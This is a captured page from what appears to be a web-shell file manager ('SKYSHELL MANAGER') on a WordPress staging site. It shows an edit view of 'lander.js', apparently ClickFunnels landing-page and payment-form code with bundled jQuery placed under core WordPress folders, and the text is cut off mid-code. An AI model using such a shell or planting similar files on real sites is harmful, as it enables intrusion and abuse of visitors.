📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: lander.js
/*! jQuery v@1.8.1 jquery.com | jquery.org/license */ function ouibounce(e,t){function n(e,t){return void 0===e?t:e}function i(e){var t=24*e*60*60*1e3,n=new Date;return n.setTime(n.getTime()+t),"; expires="+n.toGMTString()}function r(){y.addEventListener("mouseleave",o),y.addEventListener("keydown",a)}function o(e){e.clientY>d||s("viewedOuibounceModal","true")&&!u||(l(),p())}function a(e){v||s("viewedOuibounceModal","true")&&!u||e.metaKey&&76==e.keyCode&&(v=!0,l(),p())}function s(e,t){return document.cookie.split("; ").reduce(function(e,t){var n=t.split("=");return e[n[0]]=n[1],e},{})[e]===t}function l(){e&&(e.style.display="block"),c()}function c(e){"undefined"!=typeof(e=e||{}).cookieExpire&&(h=i(e.cookieExpire)),!0===e.sitewide&&(g=";path=/"),"undefined"!=typeof e.cookieDomain&&(m=";domain="+e.cookieDomain),document.cookie="viewedOuibounceModal=true"+h+m+g,y.removeEventListener("mouseleave",o),y.removeEventListener("keydown",a)}var u=(t=t||{}).aggressive||!1,d=n(t.sensitivity,20),f=n(t.timer,1e3),p=t.callback||function(){},h=i(t.cookieExpire)||"",m=t.cookieDomain?";domain="+t.cookieDomain:"",g=!0===t.sitewide?";path=/":"",y=document.getElementsByTagName("html")[0];setTimeout(r,f);var v=!1;return{fire:l,disable:c}}function CFbuildAudioPlayer(e,t){try{e.each(function(){var e=$(this),n=e.attr("data-audio-url")||"https://images.clickfunnels.com/images/SevenNationArmy.mp3",i=e.attr("data-audio-controls")||"yes",r=e.attr("data-audio-loop")||"no",o=t&&e.attr("data-audio-autoplay")||"no",a={src:n,"class":"elAudioElement"};a.controls="no"!=i,a.loop="yes"==r,a.autoplay="yes"==o;var s=["playpause","current","progress","duration","volume"];a.controls||(s=["progress","volume"]);var l={audioWidth:"100%",audioHeight:"100%",enableAutosize:!0,enableProgressTooltip:!1,enableKeyboard:a.controls,features:s,loop:a.loop};a.autoplay&&(l.success=function(e){e.play()});e.find("audio").mediaelementplayer(l)})}catch(n){console.log(n)}}function evsfix(){$("iframe[src^='http://player.vimeo.com'], iframe[src^='http://www.youtube.com'], object, embed").each(function(){try{var e;if(el=this,h=el.height,w=el.width,""!==h&&"100%"!=h||(h=9),""!==w&&"100%"!=w||(w=16),ratio=h/w,$(el).attr("data-aspectRatio",h/w).removeAttr("height").removeAttr("width"),0==(e=$(el).parent().width()))0==(e=$(el).parent().parent().parent().width())&&(e=600);100==e?($(el).width("100%").height("56.25%"),$(el).parent().parent().width("100%").height("56.25%")):($(el).width(e).height(e*ratio),$(el).parent().parent().width(e).height(e*ratio)),$(el).parent().parent().parent().css("display","inline"),$(".evs-flash-prompt").hide(),$('[data-role="evp-video"] div').css("background-color","transparent"),$(el).attr("data",$(el).attr("data").replace("http:","https:"))}catch(t){}})}function calcTax(){window.addEventListener("load",function(){if(ClickFunnels.CalculateTaxes.canCalcTaxes()){(new ClickFunnels.CalculateTaxes).run()}})}function cfStripeTokenHandler(e){var t=document.getElementById("cfAR"),n=document.createElement("input");n.setAttribute("type","hidden"),n.setAttribute("name","purchase[stripe_customer_token]"),n.setAttribute("value",e.id),t.appendChild(n),t.submit()}function cfCreateElements(e){var t="https://fonts.googleapis.com/css?family="+cfElementsFindFont(e);return stripe.elements({fonts:[{cssSrc:t}]})}function cfCreateStripeToken(){var e={address:"address_line1",city:"address_city",state:"address_state",zip:"address_zip",country:"address_country"},t={};Object.keys(e).forEach(function(n){var i=$("[name="+n+"]").filter(":visible:first");0!==i.size()&&(t[e[n]]=i.val())}),stripe.createToken(window.cfStripeElementsCardElement,t).then(function(e){e.error?window.ClickFunnels.OrderDeclinedMessage.show(e.error.message):window.cfStripeTokenHandler(e.token)})}function cfElementsFindFont(e){var t="Open Sans",n=e.closest("[data-google-font]").attr("data-google-font");if(!n){var i=$("html").attr("style");if(i){var r=i.split("font-family:");if(2==r.length){var o=r[1].split(";");2==o.length&&(n=(o=o[0].replace("!important","")).trim())}}}return n=(n=n||t).replace(/\+/g," ")}function AttachStripeElements(){function e(e){return'"'+(e=e.replace("+"," "))+'", sans-serif'}function t(t){return{base:{fontFamily:e(cfElementsFindFont(t)),fontSize:r(t)}}}function n(e,t){var n="";if(e.closest(".elOrder2Step").length>0)(i=e.closest(".elOrder2Step").find(".elInput").attr(t))&&(n=i);else if(e.closest(".elCreditCardForm")){var i;(i=e.closest(".elCreditCardForm").find(".ccInput").attr(t))&&(n=i)}return n}function i(e,t){var n=e.split("font-size:");return 2!=n.length?t:n[1].trim().replace(";","")}function r(e){var t="14px";return i(n(e,"style"),t)}function o(e,t){return n(e,"class").split(" ").reduce(function(e,n){return-1!==t.indexOf(n)&&(e=n),e},t[0])}function a(e){return o(e,["elInputBR5","elInputBR1","elInputBR1","elInputBR2"])}function s(e){return o(e,["elInputStyl0","elInputStyle1","elInputStyle2"])}function l(e){return o(e,["elInputBG1","elInputBG2","elInputBG3"])}function c(e,t){$(".ccInputText").attr("style",t),$(".StripeElement").css("padding","14px 18px").css("border","1px solid rgba(0,0,0,.2)");var n=a(e);$(".StripeElement").addClass(n);var i=s(e);$(".StripeElement").addClass(i);var r=l(e);$(".StripeElement").addClass(r)}function u(e){window.cfStripeElementsCardElement=p.create("card",{style:t(e),hidePostalCode:!0}),e.find(".ccNumberWrap,.ccCVCWrap,.ccMonthWrap,.ccYearWrap").hide();var n=e.find(".ccCardText"),i='<div class="ccStripeElementCard"><div class="ccCardText ccInputText">'+n.text()+'</div><div id="card-element"></div></div>';e.append(i),window.cfStripeElementsCardElement.mount("#card-element"),c(e,n.attr("style"))}function d(e){var n=t(e),i=$(".cc-number").attr("placeholder"),r=$(".cc-cvc").attr("placeholder");window.cfStripeElementsCardElement=p.create("cardNumber",{style:n,placeholder:i});var o=p.create("cardCvc",{style:n,placeholder:r}),a=p.create("cardExpiry",{style:n}),s=e.find(".ccCardText"),l='<div class="ccStripeElementCard elInputBR2"><div class="ccCardText ccInputText">'+s.text()+'</div><div id="card-number-element"></div></div><div class="ccStripeElementExp"><div class="ccExpYearText ccInputText">Exp:</div><div id="card-exp-element"></div></div><div class="ccStripeElementCVC"><div class="ccCVCText ccInputText">'+e.find(".ccCVCText").text()+'</div><div id="card-cvc-element"></div></div>';e.find(".ccNumberWrap,.ccCVCWrap,.ccMonthWrap,.ccYearWrap").hide(),e.append(l),window.cfStripeElementsCardElement.mount("#card-number-element"),o.mount("#card-cvc-element"),a.mount("#card-exp-element"),$("#card-number-element").css("width","100%").css("margin-bottom","8px"),$("#card-exp-element").css("width","calc(100% - 4px)").css("margin-left","4px"),$("#card-cvc-element").css("width","calc(100% - 4px)").css("margin-right","4px"),c(e,s.attr("style"))}if(window.stripe){var f=$("meta[name='can_access_stripe_elements_upgrade']").attr("content");if("false"!==f&&f!=undefined){var p=undefined,h="oneField";$(".elCreditCardForm").each(function(){var e=$(this),t=e.attr("data-stripe-field-layout");p||(p=window.cfCreateElements(e)),t==h?u(e):d(e)}),$("#cfAR").submit(function(){var e=$(".elCreditCardForm #card-exp-element").length>0,t=e?3:1;if(!($(".StripeElement--complete").length==t))return e||$(".StripeElement").css("border-color","rgb(185, 21, 23)").css("border-width","3px"),window.ClickFunnels.CFPeOrders.SubmitButton.replacePreviousContent(),window.CFStripeErrorStartTransaction=!0,!1;window.cfCreateStripeToken()})}}else setTimeout(AttachStripeElements,200)}function prettyNotify(e,t,n){t=void 0===t?"":t,n=void 0===n?3e3:n;var i=Math.random().toString(36).replace(/[^a-z]+/g,"").substr(0,10);$("body").append("<div class='browserNotifier "+t+"' id='"+i+"'>"+e+"</div>"),$("#"+i).velocity("slideDown",{delay:500,duration:2e3}),$("#"+i).velocity("slideUp",{delay:n,duration:2e3})}function start_firebase(e,t,n,i){url="https://cf-browser-notifier.firebaseio.com/user_pages",void 0!==t&&"null"!=t&&(url=url+"/"+t),void 0!==n&&"null"!=n&&(url=url+"/step_"+n),void 0!==e&&"null"!=e&&""!=e&&(url=url+"/contacts/cf_uvid_"+e);var r=new Firebase(url);void 0!==i&&"null"!=i&&r.child("sales").on("value",function(e){null!=e.val()&&""!=e.val()&&prettyNotify(e.val())})}function displayPageNotifier(e){var t=e.val();t&&"true"!=localStorage.getItem(t.hashCode())&&(localStorage.setItem(t.hashCode(),"true"),setTimeout(function(){prettyNotify(t,"pageNotifier",1e4)},5e3))}function start_page_notifier(e,t){if(e){var n="https://cf-browser-notifier.firebaseio.com/user_pages";new Firebase(n+"/contacts/cf_uvid_"+e).child("message").on("value",displayPageNotifier),new Firebase(n+"/"+t+"/contacts/cf_uvid_"+e).child("message").on("value",displayPageNotifier)}}function start_firebase_quantity_limiter(e,t){function n(){$('.sold-out input[name="purchase[product_id]"]').each(function(){var e=$(this).val();if(-1===$.inArray(e,i)){var t=$('[name="purchase[product_id]"][value="'+e+'"]');t.parents('[data-cf-product-template="true"]').removeClass("sold-out"),t.parents('[data-cf-product-template="true"]').find("label .sold-out-text").remove(),t.attr("disabled",!1),$("#"+e+"_qty").val(0).attr("disabled",!1)}}),$.each(i,function(e,t){var n=$('[name="purchase[product_id]"][value="'+t+'"]');n.attr("checked",!1).attr("disabled",!0),$('#cfAR input[value="'+t+'"]').attr("checked",!1),n.parents('[data-cf-product-template="true"]:not(.sold-out)').addClass("sold-out").find('[data-cf-product-name="true"]').prepend(o)}),undefined!==cfpeRebuildOrderSummary&&cfpeRebuildOrderSummary()}url="https://cf-pql.firebaseio.com/user_pages",void 0!==e&&"null"!=e&&(url=url+"/"+e),void 0!==t&&"null"!=t&&(url=url+"/step_"+t);var i=[],r=new Firebase(url+"/product_limits"),o='<span class="sold-out-text">Sold Out! - </span>';$('.elOrderProductOptinProductName input[name="purchase[product_id]"]:not(input.hide)').each(function(){var e=this,t=null,o=null,a=$(this).val();r.child("product/"+a).on("value",function(r){var s=r.val();s&&null!==s.max&&""!==s.max&&(t=s.max),s&&null!==s.sold&&""!==s.sold&&(o=s.sold),null!==t&&""!==t&&null!==o&&""!==o?($(e).nextAll(".elOrderProdInvDesc").find(".elOrderProdInvMaxAvail").html(t),$(e).nextAll(".elOrderProdInvDesc").find(".elOrderProdInvSold").html(o),$(e).nextAll(".elOrderProdInvDesc").find(".elOrderProdInvCurrAvail").html(t-o),t-o>0?($.inArray(a,i)>-1&&i.splice($.inArray(a,i),1),n()):(-1===$.inArray(a,i)&&i.push(a),n())):$(e).nextAll(".elOrderProdInvDesc").hide()})})}function readCookie(e){for(var t=e+"=",n=document.cookie.split(";"),i=0;i<n.length;i++){for(var r=n[i];" "==r.charAt(0);)r=r.substring(1,r.length);if(0==r.indexOf(t))return r.substring(t.length,r.length)}return null}function CFExtractPayPalButtonConfiguration(){var e={width:"small",layout:"vertical",shape:"rect",color:"gold"},t={allowed:[],disallowed:[]},n=$(".elCreditCardForm"),i="data-paypal-";Object.keys(e).forEach(function(t){var r=i+t;n.attr(r)&&(e[t]=n.attr(r))}),"0"!==n.attr(i+"allow-venmo")&&t.allowed.push(paypal.FUNDING.VENMO),"0"!==n.attr(i+"allow-paypal-credit")&&t.allowed.push(paypal.FUNDING.CREDIT);var r="sandbox"===n.attr(i+"env")?"sandbox":"production";return{funding:t,style:e,env:r}}function CFPaySelectPaypalTransactions(){var e=[];return $('#cfAR input[name="purchase[product_ids][]"][data-product-currency-code]:checked').each(function(){var t={amount:{total:$(this).data("product-amount"),currency:$(this).data("product-currency-code")}};e.push(t)}),{transactions:e}}function PaySelectInit(){function e(){var e=$(".payselect-container > .payselect-header").first(),t=$(".payselect-container > .payselect-header").last(),n=e.css("border-bottom");$("#"+t.attr("data-target")).is(":visible")?t.css({"border-top":"none","border-bottom":n}):t.css({"border-top":n,"border-bottom":"none"})}function t(e){$(".payselect-header").each(function(){var t=$(this);e.is(t)?e.addClass("active"):t.hasClass("active")&&t.removeClass("active")})}$(".payselect-header").on("click",function(){var n=$(".payselect-method-container"),i=$(this),r=i.attr("data-target"),o=$("#"+r);n.each(function(){var e=$(this);o.is($(e))?e.show():e.hide()}),t(i),e()}),e()}function recalcRoundUp(){var e=0,t=parseInt(100*window.cfpe.orderTotal);Math.ceil(t);switch(window.Clickfunnels.roundTo){case"ten":e=1e3*Math.ceil(t/1e3)-t;break;default:e=100*Math.ceil(t/100)-t}return parseInt(e)||0}function addCharityToSummary(){var e="USD",t=$('#cfAR input[name="purchase[application_fee]"]').val()||"0",n=$('[data-title="cf-order-summary"] .elOrderProductOptinProducts:not(.cf-order-total-row, .taxAmount)').last().clone();n.addClass("round-up-summary-wrapper"),$('[data-title="cf-order-summary"] .round-up-summary-wrapper').remove(),null!==t&&""!==t&&(t=parseInt(t)),Number.isInteger(t)&&parseInt(t)>0&&($(".product-name",n).text("Round Up To Liberate & Educate"),$(".product-price",n).text((t/100).toLocaleString(undefined,{style:"currency",currency:e})),n.insertAfter($('[data-title="cf-order-summary"] .elOrderProductOptinProducts:not(.cf-order-total-row, .taxAmount)').last()))}function addSaasRedirectClickHandler(){$("a[href='#saas-redirect'], .elIMG[data-imagelink='#saas-redirect']").on("click",function(){var e=$.cookie("cf_saas_redirect_url");e?window.location.href=e:alert("The redirect to the software you've just signed up for is missing. Please contact us for assistance.")})}function CFInfusionsoftTokenizationHandler(e,t){function n(e){return{token:e,CardNumber:$('[data-stripe="number"]').val(),CVV2:$('[data-stripe="cvc"]').val(),ExpirationMonth:$('[data-stripe="exp-month"]').val(),ExpirationYear:$('[data-stripe="exp-year"]').val()}}var i=/^[A-Za-z0-9]*$/;if(null===e.match(i))throw new Error("Invalid Infusionsoft Subdomain");var r=$("#cfAR"),o=r.serialize();o+="&purchase[infusionsoft_pci_token]=TOKEN_REQUESTED";var a=r.attr("action"),s=$("<input>",{type:"hidden",name:"purchase[infusionsoft_pci_token]",data:{storage:"false"}}),l=undefined;$.ajax({type:"POST",url:a,data:o}).done(function(i){if(!i||"string"!=typeof i.token)throw new Error("Missing Infusionsoft Submission Token");l=i.token,$.ajax({type:"POST",url:"https://"+e+".infusionsoft.com/app/creditCardSubmission/addCreditCard",data:n(l)}).always(function(){s.attr("value",i.token),s.appendTo(r),t()})}).fail(function(){throw new Error("Missing Infusionsoft Submission Token")})}function webinarDelay(){date=$('.selectAW-date[data-cf-name="webinar-date"]').val(),time=$('.selectAW-date[data-cf-name="webinar-time"]').val(),webinar_datetime=moment(date+" "+time,"YYYY-MM-DD HH:mm"),webinar_datetime_offset=moment.unix(webinar_datetime),now=moment(),now_offset=moment.unix(now),webinar_delay=webinar_datetime.diff(now),webinar_delay_offset=moment.unix(webinar_delay),webinar_delay_offset=moment.unix(webinar_delay),$("#webinar_delay").attr("value",webinar_delay)}function cookieWebinarTime(e){$pID=$("#page-id").val(),$.cookie("webinar_last_time-"+$pID,e)}function getWebinarLastTime(){return $pID=$("#page-id").val(),hardtime=$(".webinar-last-time").text(),cookietime=$.cookie("webinar_last_time-"+$pID),isNaN(parseInt(cookietime))&&(cookietime=0),parseInt(hardtime)<parseInt(cookietime)||isNaN(parseInt(hardtime))?(reportWebinarTime(cookietime),parseInt(cookietime)):(cookieWebinarTime(hardtime),parseInt(hardtime))}function reportWebinarTime(e){webinar_ext=$(".webinar-ext").text(),$.ajax({type:"POST",url:"/contacts/update_last_time",data:{webinar_ext:webinar_ext,t:e}}),cookieWebinarTime(e)}function periodicAutoWebinarCheck(){var e,t=new Date;setInterval(function(){void 0===e&&(e=parseInt(getWebinarLastTime())),currentSeconds=(new Date-t)/1e3+e,parseInt($("webinar-ot").text())<currentSeconds?reportWebinarTime(currentSeconds):cookieWebinarTime(currentSeconds)},1e3)}function periodicLessonCheck(){var e=3e4;"undefined"==typeof window.cfProgressRunner&&(window.cfProgressRunner=setInterval(function(){currentSeconds=e/1e3,reportLessonProgress(currentSeconds)},e))}function reportLessonProgress(e){document.hidden!==undefined&&!1!==document.hidden||(lesson_id=$("body").data("currentLessonId"),$.ajax({type:"PUT",url:"/lessons/"+lesson_id+"/track_progress",data:{t:e},error:function(e){403==e.status&&clearInterval(window.cfProgressRunner)}}))}function CFSanitizeCountdownElement(){var e=$(".wideCountdown-demo");e.each(function(){var e=$(this),t=e.find(".countdown-amount").css("color"),n=e.find(".countdown-period").css("color"),i=e.siblings(".wideCountdown");t&&i.attr("data-color-time",t),n&&i.attr("data-color-label",n)}),e.remove(),$(".wideCountdown").removeClass("hide")}function CFstartBPVideos(){var e,t,n,i=$(".elVideo.iframeblocked, .elVideo.iframeunmuted");i.length&&(n={youtube:[],wistia:[],vimeo:[]},i.each(function(){var i=$(this);if(!((t=i.closest(".elVideoWrapper").attr("data-video-type"))in n))return i.removeClass("iframeblocked iframeunmuted"),!0;e=i.closest(".elVideoWrapper"),n[t].push(e)}),CFprocessBPVideos(n))}function CFprocessBPVideos(e){Object.keys(e).forEach(function(t){var n;if(0!=e[t].length)switch(n=e[t],t){case"youtube":var i;n.forEach(function(e){(i=e.find("iframe").attr("src")).indexOf("enablejsapi")<0&&(i=i.replace("autoplay=1","enablejsapi=1&autoplay=1"),e.find("iframe").attr("src",i))}),window.onYouTubePlayerAPIReady=CFhandleAllYouTubeBPVideos(n);break;case"wistia":$("head").append('<script src="//fast.wistia.net/assets/external/E-v1.js"></script>'),window._wq=window._wq||[],_wq.push({id:"_all",onReady:CFhandleWistiaBPVideo});break;case"vimeo":$("body").append('<script src="https://player.vimeo.com/api/player.js"></script>'),CFcheckForVimeo(50,n)}})}function CFcheckForVimeo(e,t){e=e>=300?e:e+50,"undefined"==typeof Vimeo?window.setTimeout(CFcheckForVimeo,e,e,t):CFhandleAllVimeoBPVideos(t)}function CFhandleWistiaBPVideo(e){var t=e,n=$(e.container).closest(".elVideoWrapper");CFsetupSessionStarterBP(t,n),n.find(".start-session-wrapper").on("click",function(){t.play(),t.unmute(),$(this).remove()})}function CFhandleAllVimeoBPVideos(e){e.forEach(function(e){var t=new Vimeo.Player(e.find("iframe").attr("id"));t.ready().then(function(){CFhandleVideoLabels(e,t,e,"vimeo",function(){t.play(),t.setVolume(1)})})})}function CFhandleAllYouTubeBPVideos(e){return function(){e.forEach(function(e){var t,n=null;e&&(n=e.find("iframe").attr("id")),n&&CFhandleVideoLabels(e,t=new YT.Player(n,{}),e,"youtube",function(){t.playVideo(),t.unMute()})})}}function CFhandleVideoLabels(e,t,e,n,i){"true"==e.attr("data-"+n+"-block-pause")?(CFsetupSessionStarterBP(t,e),e.find(".start-session-wrapper").on("click",function(){i(),$(this).remove()})):(CFsetupMutedVideos(t,e),e.find(".unmute-player-wrapper").on("click",function(){i(),$(this).closest(".iframeUnmute").remove()}))}function CFsetupSessionStarterBP(e,t){if(e){var n=t.attr("data-session-starter-text")||"Click To Join Session In Progess...";t.find(".iframeBlocker").append('<div class="start-session-wrapper"><span class="start-session">'+n+"</span></div>")}}function CFsetupMutedVideos(e,t){e&&t.find(".iframeUnmute").append('<div class="unmute-player-wrapper"><span class="unmute-player-icon"><i class="fa fa-volume-up"/></span></div>')}function CFrenameVimeoURLAttribute(){$(".elVideoWrapper").each(function(){var e=$(this),t=e.attr("data-vimeo-url");e.removeAttr("data-vimeo-url"),t&&e.attr("data-cfvimeo-url",t)})}if(function(e,t){function n(e){var t=he[e]={};return Z.each(e.split(te),function(e,n){t[n]=!0}),t}function i(e,n,i){if(i===t&&1===e.nodeType){var r="data-"+n.replace(ge,"-$1").toLowerCase();if("string"==typeof(i=e.getAttribute(r))){try{i="true"===i||"false"!==i&&("null"===i?null:+i+""===i?+i:me.test(i)?Z.parseJSON(i):i)}catch(B){}Z.data(e,n,i)}else i=t}return i}function r(e){var t;for(t in e)if(("data"!==t||!Z.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function o(){return!1}function a(){return!0}function s(e){return!e||!e.parentNode||11===e.parentNode.nodeType}function l(e,t){do{e=e[t]}while(e&&1!==e.nodeType);return e}function c(e,t,n){if(t=t||0,Z.isFunction(t))return Z.grep(e,function(e,i){return!!t.call(e,i,e)===n});if(t.nodeType)return Z.grep(e,function(e){return e===t===n});if("string"==typeof t){var i=Z.grep(e,function(e){return 1===e.nodeType});if(Ne.test(t))return Z.filter(t,i,!n);t=Z.filter(t,i)}return Z.grep(e,function(e){return Z.inArray(e,t)>=0===n})}function u(e){var t=je.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function d(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function f(e,t){if(1===t.nodeType&&Z.hasData(e)){var n,i,r,o=Z._data(e),a=Z._data(t,o),s=o.events;if(s)for(n in delete a.handle,a.events={},s)for(i=0,r=s[n].length;i<r;i++)Z.event.add(t,n,s[n][i]);a.data&&(a.data=Z.extend({},a.data))}}function p(e,t){var n;1===t.nodeType&&(t.clearAttributes&&t.clearAttributes(),t.mergeAttributes&&t.mergeAttributes(e),"object"===(n=t.nodeName.toLowerCase())?(t.parentNode&&(t.outerHTML=e.outerHTML),Z.support.html5Clone&&e.innerHTML&&!Z.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ke.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.selected=e.defaultSelected:"input"===n||"textarea"===n?t.defaultValue=e.defaultValue:"script"===n&&t.text!==e.text&&(t.text=e.text),t.removeAttribute(Z.expando))}function h(e){return"undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName("*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll("*"):[]}function m(e){Ke.test(e.type)&&(e.defaultChecked=e.checked)}function g(e,t){if(t in e)return t;for(var n=t.charAt(0).toUpperCase()+t.slice(1),i=t,r=yt.length;r--;)if((t=yt[r]+n)in e)return t;return i}function y(e,t){return e=t||e,"none"===Z.css(e,"display")||!Z.contains(e.ownerDocument,e)}function v(e,t){for(var n,i,r=[],o=0,a=e.length;o<a;o++)(n=e[o]).style&&(r[o]=Z._data(n,"olddisplay"),t?(!r[o]&&"none"===n.style.display&&(n.style.display=""),""===n.style.display&&y(n)&&(r[o]=Z._data(n,"olddisplay",w(n.nodeName)))):(i=nt(n,"display"),!r[o]&&"none"!==i&&Z._data(n,"olddisplay",i)));for(o=0;o<a;o++)(n=e[o]).style&&(t&&"none"!==n.style.display&&""!==n.style.display||(n.style.display=t?r[o]||"":"none"));return e}function b(e,t,n){var i=ut.exec(t);return i?Math.max(0,i[1]-(n||0))+(i[2]||"px"):t}function _(e,t,n,i){for(var r=n===(i?"border":"content")?4:"width"===t?1:0,o=0;r<4;r+=2)"margin"===n&&(o+=Z.css(e,n+gt[r],!0)),i?("content"===n&&(o-=parseFloat(nt(e,"padding"+gt[r]))||0),"margin"!==n&&(o-=parseFloat(nt(e,"border"+gt[r]+"Width"))||0)):(o+=parseFloat(nt(e,"padding"+gt[r]))||0,"padding"!==n&&(o+=parseFloat(nt(e,"border"+gt[r]+"Width"))||0));return o}function T(e,t,n){var i="width"===t?e.offsetWidth:e.offsetHeight,r=!0,o=Z.support.boxSizing&&"border-box"===Z.css(e,"boxSizing");if(i<=0||null==i){if(((i=nt(e,t))<0||null==i)&&(i=e.style[t]),dt.test(i))return i;r=o&&(Z.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+_(e,t,n||(o?"border":"content"),r)+"px"}function w(e){if(pt[e])return pt[e];var t=Z("<"+e+">").appendTo(U.body),n=t.css("display");return t.remove(),"none"!==n&&""!==n||(it=U.body.appendChild(it||Z.extend(U.createElement("iframe"),{frameBorder:0,width:0,height:0})),rt&&it.createElement||((rt=(it.contentWindow||it.contentDocument).document).write("<!doctype html><html><body>"),rt.close()),t=rt.body.appendChild(rt.createElement(e)),n=nt(t,"display"),U.body.removeChild(it)),pt[e]=n,n}function S(e,t,n,i){var r;if(Z.isArray(t))Z.each(t,function(t,r){n||_t.test(e)?i(e,r):S(e+"["+("object"==typeof r?t:"")+"]",r,n,i)});else if(n||"object"!==Z.type(t))i(e,t);else for(r in t)S(e+"["+r+"]",t[r],n,i)}function k(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var i,r,o=t.toLowerCase().split(te),a=0,s=o.length;if(Z.isFunction(n))for(;a<s;a++)i=o[a],(r=/^\+/.test(i))&&(i=i.substr(1)||"*"),(e[i]=e[i]||[])[r?"unshift":"push"](n)}}function C(e,n,i,r,o,a){(a=a||{})[o=o||n.dataTypes[0]]=!0;for(var s,l=e[o],c=0,u=l?l.length:0,d=e===Nt;c<u&&(d||!s);c++)"string"==typeof(s=l[c](n,i,r))&&(!d||a[s]?s=t:(n.dataTypes.unshift(s),s=C(e,n,i,r,s,a)));return(d||!s)&&!a["*"]&&(s=C(e,n,i,r,"*",a)),s}function x(e,n){var i,r,o=Z.ajaxSettings.flatOptions||{};for(i in n)n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i]);r&&Z.extend(!0,e,r)}function E(e,n,i){var r,o,a,s,l=e.contents,c=e.dataTypes,u=e.responseFields;for(o in u)o in i&&(n[u[o]]=i[o]);for(;"*"===c[0];)c.shift(),r===t&&(r=e.mimeType||n.getResponseHeader("content-type"));if(r)for(o in l)if(l[o]&&l[o].test(r)){c.unshift(o);break}if(c[0]in i)a=c[0];else{for(o in i){if(!c[0]||e.converters[o+" "+c[0]]){a=o;break}s||(s=o)}a=a||s}if(a)return a!==c[0]&&c.unshift(a),i[a]}function $(e,t){var n,i,r,o,a=e.dataTypes.slice(),s=a[0],l={},c=0;if(e.dataFilter&&(t=e.dataFilter(t,e.dataType)),a[1])for(n in e.converters)l[n.toLowerCase()]=e.converters[n];for(;r=a[++c];)if("*"!==r){if("*"!==s&&s!==r){if(!(n=l[s+" "+r]||l["* "+r]))for(i in l)if((o=i.split(" "))[1]===r&&(n=l[s+" "+o[0]]||l["* "+o[0]])){!0===n?n=l[i]:!0!==l[i]&&(r=o[0],a.splice(c--,0,r));break}if(!0!==n)if(n&&e.throws)t=n(t);else try{t=n(t)}catch(Y){return{state:"parsererror",error:n?Y:"No conversion from "+s+" to "+r}}}s=r}return{state:"success",data:t}}function A(){try{return new e.XMLHttpRequest}catch(t){}}function M(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function P(){return setTimeout(function(){qt=t},0),qt=Z.now()}function D(e,t){Z.each(t,function(t,n){for(var i=(Zt[t]||[]).concat(Zt["*"]),r=0,o=i.length;r<o;r++)if(i[r].call(e,t,n))return})}function F(e,t,n){var i,r=0,o=Jt.length,a=Z.Deferred().always(function(){delete s.elem}),s=function(){for(var t=qt||P(),n=Math.max(0,l.startTime+l.duration-t),i=1-(n/l.duration||0),r=0,o=l.tweens.length;r<o;r++)l.tweens[r].run(i);return a.notifyWith(e,[l,i,n]),i<1&&o?n:(a.resolveWith(e,[l]),!1)},l=a.promise({elem:e,props:Z.extend({},t),opts:Z.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:qt||P(),duration:n.duration,tweens:[],createTween:function(t,n){var i=Z.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(i),i},stop:function(t){for(var n=0,i=t?l.tweens.length:0;n<i;n++)l.tweens[n].run(1);return t?a.resolveWith(e,[l,t]):a.rejectWith(e,[l,t]),this}}),c=l.props;for(L(c,l.opts.specialEasing);r<o;r++)if(i=Jt[r].call(l,e,c,l.opts))return i;return D(l,c),Z.isFunction(l.opts.start)&&l.opts.start.call(e,l),Z.fx.timer(Z.extend(s,{anim:l,queue:l.opts.queue,elem:e})),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always)}function L(e,t){var n,i,r,o,a;for(n in e)if(r=t[i=Z.camelCase(n)],o=e[n],Z.isArray(o)&&(r=o[1],o=e[n]=o[0]),n!==i&&(e[i]=o,delete e[n]),(a=Z.cssHooks[i])&&"expand"in a)for(n in o=a.expand(o),delete e[i],o)n in e||(e[n]=o[n],t[n]=r);else t[i]=r}function I(e,t,n){var i,r,o,a,s,l,c,u,d=this,f=e.style,p={},h=[],m=e.nodeType&&y(e);for(i in n.queue||(null==(c=Z._queueHooks(e,"fx")).unqueued&&(c.unqueued=0,u=c.empty.fire,c.empty.fire=function(){c.unqueued||u()}),c.unqueued++,d.always(function(){d.always(function(){c.unqueued--,Z.queue(e,"fx").length||c.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[f.overflow,f.overflowX,f.overflowY],"inline"===Z.css(e,"display")&&"none"===Z.css(e,"float")&&(Z.support.inlineBlockNeedsLayout&&"inline"!==w(e.nodeName)?f.zoom=1:f.display="inline-block")),n.overflow&&(f.overflow="hidden",Z.support.shrinkWrapBlocks||d.done(function(){f.overflow=n.overflow[0],f.overflowX=n.overflow[1],f.overflowY=n.overflow[2]})),t)if(o=t[i],Gt.exec(o)){if(delete t[i],o===(m?"hide":"show"))continue;h.push(i)}if(a=h.length)for(s=Z._data(e,"fxshow")||Z._data(e,"fxshow",{}),m?Z(e).show():d.done(function(){Z(e).hide()}),d.done(function(){var t;for(t in Z.removeData(e,"fxshow",!0),p)Z.style(e,t,p[t])}),i=0;i<a;i++)r=h[i],l=d.createTween(r,m?s[r]:0),p[r]=s[r]||Z.style(e,r),r in s||(s[r]=l.start,m&&(l.end=l.start,l.start="width"===r||"height"===r?1:0))}function N(e,t,n,i,r){return new 